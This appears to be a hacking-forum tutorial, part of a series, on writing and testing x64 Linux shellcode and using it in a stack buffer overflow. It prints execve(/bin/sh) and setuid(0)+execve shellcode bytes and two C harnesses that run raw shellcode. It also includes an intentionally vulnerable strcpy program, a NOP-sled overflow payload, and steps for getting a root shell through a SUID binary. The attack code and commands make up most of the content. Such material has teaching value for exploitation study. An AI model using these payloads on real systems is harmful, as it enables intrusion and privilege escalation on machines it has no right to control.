0x1.0x2 ShellCodes
In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode. Shellcode is commonly written in machine code. (Wikipedia)Shellcode is a type of ByteCode, i.e. a source code in pure machine code!
Actually, a shellcode is a bytecode that executes a command shell: An "environment" that I can execute system commands.
In order to be able to create a working Shellcode you have (mainly) two choices:
- Create an assembly program, compile & link it and get its machine code generated or
- Do the same with a C or C++ program
There many shellcodes available, in many places on internet. A well know place is here: https://www.exploit-db.com/
Below we have a shellcode that will spawn a Bash Shell in assembly language:
;
;
; Source: https://www.exploit-db.com/exploits/47008
;
; Compile: nasm -felf64 spawn_shell.nasm -o spawn_shell.o
; Link: ld spawn_shell.o -o spawn_shell
;-----------------------------------------------------------
;
global _start
section .text
_start:
;int execve(const char *filename, char *const argv[],char *const envp[])
xor rsi, rsi ;clear rsi
push rsi ;push null on the stack
mov rdi, 0x68732f2f6e69622f ;/bin//sh in reverse order
push rdi
push rsp
pop rdi ;stack pointer to /bin//sh
mov al, 59 ;sys_execve
cdq ;sign extend of eax
syscall
I create a very simple script to compile the program and to display the corresponding byte code:
echo '\033[33;1mCompiling...\033[0m'
nasm -f elf64 -o $1.o $1.asm
ld -o $1 $1.o
echo 'ok'
echo
echo '\033[33;1mAssembly code:\033[0m'
objdump -M intel -d $1
echo
The bytecode (or the machine code) above is represented as a series of hexadecimal numbers, that they are actually a series or bytes or to be more specific, a series of bits, aka know as 0 and 1. This is why we call it a machine code.
The only task left to do now is to get this bytecode and put it in a string, as below:
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
Note the hexadecimal format here. Does reminds you something from Part I (paragraph "0x1.0x1. The ROP approach")?
The main idea here is this: We want to put this bytecode in memory and execute it as a program.
NOTES :
- We have different bytecodes and specficaly shellcodes for 64bit and 32bit architectures.
- A shellcode that runs correctly in a 32bit system cannot be run on a 64bit system.
- To be able to run a bytecode that is located
on stack we have to enable the ability of the system to allow to run
code on non-executable memory location. This can be done (for example)
by using the
-z execstack
flag in the gcc compiler. - A shellcode that is run on a system (for example in a CentOS x64 box) it is not 100% guaranteed to run on another system with the same architecture, for example in an Ubuntux64 box.
Well, I have to methods to test the shellcodes and I will provided both in this article.
0x01.0x.2.0x1 Testing a shellcode - method I
This code is used to provide a C template to paste shellcode into and be able to run it live from within an ELF x64 binary's char buffer. This allows you to create a buffer with the shellcode globally and this program will mark it as RWX using mprotect() and then finally jump into./**********************************************************************
*
* Program: tester64.xss.org.c
*
* Initial Date: 08/06/2021
* Mod my Geometry: change to work on 64bit (10/04/2023)
*
* Initial Author: Travis Phillips
*
* Purpose: This code is used to provide a C template to paste shellcode
* into and be able to run it live from within an ELF x64 binary's
* char buffer. This allows you to create a buffer with the
* shellcode globally and this program will mark it as RWX using
* mprotect() and then finally jump into.
*
* Compile: gcc -m64 tester64xss.org.c -o tester64.xss.org
*
***********************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
/////////////////////////////////////////////////////
// source file: execve(/bin/sh)
/////////////////////////////////////////////////////
char payload[]="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05";
int main() {
// Print the banner.
puts("\n\033[33;1m---===[ Shellcode Tester x64 Stub v1.1 ]===---\033[0m\n");
// Print the size of the shellcode.
printf(" [\033[34;1m*\033[0m] Shellcode Size: %d\n", sizeof(payload)-1);
// Create a function pointer to the shellcode and
// display it to the user.
void (*payload_ptr)() = (void(*)())&payload;
printf(" [\033[34;1m*\033[0m] Shellcode Address: 0x%08x\n", payload_ptr);
// Calculate the address to the start of the page for the
// the shellcode.
void *page_offset = (void *)((long)payload_ptr & ~(getpagesize()-1));
printf(" [\033[34;1m*\033[0m] Shellcode page: 0x%08x\n", page_offset);
// Use mprotect to mark that page as RWX.
mprotect(page_offset, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
// Finally, use our function pointer to jump into our payload.
puts("\n\033[33;1m---------[ Begin Shellcode Execution ]---------\033[0m");
payload_ptr();
// We likely won't get here, but might as well include it just in case.
puts("\033[33;1m---------[ End Shellcode Execution ]---------\033[0m");
return 0;
}
As you can see in comments, we do not use the
-z execstack
in the compilation because we force the program to consider the memory as RWX (Read Write Execute) using mprotect(). The execution and test is straight forward:
- You cannot use the above to test 32bit shellcodes.
- BUT, it is SUPER easy to change the program for 32bit shellcode testing: You only need to change the line 47 from:
void *page_offset = (void *)((long)payload_ptr & ~(getpagesize()-1));
to:
void *page_offset = (void *)((int)payload_ptr & ~(getpagesize()-1));
- The shell code must not contain the byte 00 because the program will consider this as terminator and will stop its execution. This feature produces one of the most headaches when creating shellcodes. There are several methods we can use to avoid the 00 byte (such as XORing) but this is something beyond the scope of the current article.
0x01.0x.2.0x2 Testing a shellcode - method II
This is a very common method that almost all (normal??) people use to test shellcodes.It is far more simpler and requires to set some compiler flags (that we already explain in Part I of this series).
This is the code:
// tester2-xss.is.c
// source file: https://www.exploit-db.com/exploits/47008
// Linux/x86_64 - execve(/bin/sh)
// payload size: 22 bytes
//
// compile with: gcc -w -m64 -g -fno-stack-protector -z execstack -o tester2-xss.is tester2-xss.is.c
//////////////////////////////////////////////////
main() {
char shellcode[] = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05";
(*(void (*)()) shellcode)();
}
This is the wild beauty of C...
Again, the testing is straight forward:
So far, so good.
Let's see now what we can do with these shellcodes...
0x1.0x3 ShellCodes on buffer overflow
Consider the demo C program we used in the part I of this series with a very slight change on the size of the variable key of function checkProductKey at line 5, from 12 bytes to 64 bytes.I put again here (for clarity) the whole source code:
// demo.c
// (c) Geometry for xss.is 2023
//
// Compile: gcc -m64 -g -fno-stack-protector -z execstack -o demo demo.c
//
#include <stdio.h>
#include <string.h>
int checkProductKey(char *userKey) {
char key[64];
strcpy(key, userKey);
int n = (strcmp(userKey, "123-456") == 0);
return n;
}
int main(int argc, char* argv[]) {
char key[255];
if (argc != 2) {
printf("Enter product key >");
scanf("%s",key);
}
else
strcpy(key, argv[1]);
int iAllow = checkProductKey(key);
if (!iAllow) {
printf("Wrong key!\n");
return -1;
}
printf("Welcome to the DEMO SA Application.\n");
printf("(c) 2023 all rights reserved.\n");
return 0;
}
By using the method described in Part I we can easily find the RET address and the exploit to redirect the program to bypass the ProductKey checks:
As you notice, the variable key of function checkProductKey is 64 bytes long.
Our goal is to replace some "A"s with the shellcode bytes and redirect the program inside the buffer itselfI in order to execute the shellcode.
To do this more easily we are going to change the way we add the command line arguments values.
We are going to use a HexEditor for this.
Kali has two very nice HexEditor: The HexEdit and the HexEditor.
But, of course you can choose whatever you like to work with.
I will put the arguments (that I will pass to my program) into a file and I process them with a hex-editor .
Step 1: put the arguments to a file:
python -c 'print("A"*88+"\x55\x55\x55\x55\x52\x61"[::-1])' > args
Now the args file contains the arguments and can manage them via a hex editor by entering this command:
exeditor -b args
Note that the
-b
flag allows me to make changes (deletion, insertions) in the corresponding file.Well... this is not exactly what I would like to see. The last character "0A" is the line feed characters that the system put when I make the redirection to the file args.
I don't need it here, so I will remove it!
This is the correct file:
./demo $(cat args)
Now, let's go to the debugger to explain some more things:
b 7]
(as in Part I) and we run the program with the command: r $(cat args)
What I see here in RED is the instruction that I am currently located, this is, the overwrite of the RET addess with 0x555555555261, is the one that performs the redirection.
What I see in YELLOW is where "I want to go": I want to put my ShellCode somewhere inside the "A"s and then to change the RET address to points to these address (in yellow box) .
To maximize the possibility for a successful attack I will use an additional trick: I will replace the "A"s with the NOP instruction .
A NOP (hexadecimal 0x90 ) is an instruction to tell to the system to do... nothing, or better, to skip to the next instruction!
Thus, in case that the RET address is not points exactly to the start address of the shellcode but maybe a few address before, but with 90s my shellcode will finally (and hopefully) be executed.
Let's see first, if my exploit work if I replace "A"s with "90"s.:
If I delete the "\x" from my shellcode "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" I will have this:
4831f65648bf2f62696e2f2f736857545fb03b990f05
Now, I have to put in a good place the above inside my args file and then change the RET address to points to an address before the shellcode but inside the buffer of "90"s (see the Yellow Box in 2 image above).
0x1.0x4 Got root?
So far we have a shell with user privileges. But this not our final goal as our main purpose (usually) is to get root... or to get a shell with root privileges.The question now is: is this possible?
Well, the answer is YES, but under certain conditions.
One such condition is when we run a SUID program.
SUID: stands for Set owner User ID. This is a special permission that applies to scripts or applications. If the SUID bit is set, when the command is run, it's effective UID becomes that of the owner of the file, instead of the user running it. (techrepublic.com)
There some cases when root user give SUID permission to an application because of a specific privileges it requires. In addition some lower level privileges can run a SUID program without the need to own these privileges.
The vulnerability arose from such situation is when the SUID program has a buffer overflow vulnerability and allow the caller to execute command with the SUID privileges...
Thus, can you imagine what will be done if our small demo program had SUID priv/s?
Let's see this in reality.
First of all we make our demo executable SUID as follows:
sudo -s
chown root demo
chgrp root demo
chmod 4777 demo
Now our demo program look like this:
Well, let's try it:
Oooo No!!! It does not work... I still got shell but with user priv/s!!
But Why??
Well... there is a reason for this:
Many popular implementations of linux sh drop privileges when they start up:
They reset their effective UID to their real UID. This includes 'bash', 'dash', 'mksh' and 'BusyBox' sh, so on Linux you won't see anything else.
Ok, is there is anything we can do about it?
And of course the answer (as usual) is: YES!
We can create a shellcode from an assembly that set the UID to (0) (aka root) and then call the shell. To be more technically specific, see below:
setuid(0); execve(/bin/sh);
Well, it is not necessary to create it from scratch, since, it is already exists here: https://shell-storm.org/shellcode/files/shellcode-77.html
The shellcode is this:
\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05";
In order to be sure that it will work on our box, I test it with the tester I presented on paragraph 0x1.0x2 "Shellcodes" and I verified that indeed returns a shell. Note that you mus test all shellcodes before you run them in order to check if they are working in your box. Also note that there cases that even the shellcodes return a shell when are running from the tester program, they are not working when passed to the stack. You know, as we said in Part I, sometimes the results are non-deterministic.
Anyway, let's try this new shellcode with our demo program.
The first question is: Is it feet on the buffer?
Well, the above shellcode is 48 bytes and our buffer (the key variable) is 64, so the answer is YES.
OK... lets do it!
Modify the args file and run it...
What is Next?
What about to make a Part III about an example in Windows 11 64bit?Are you still interested?
...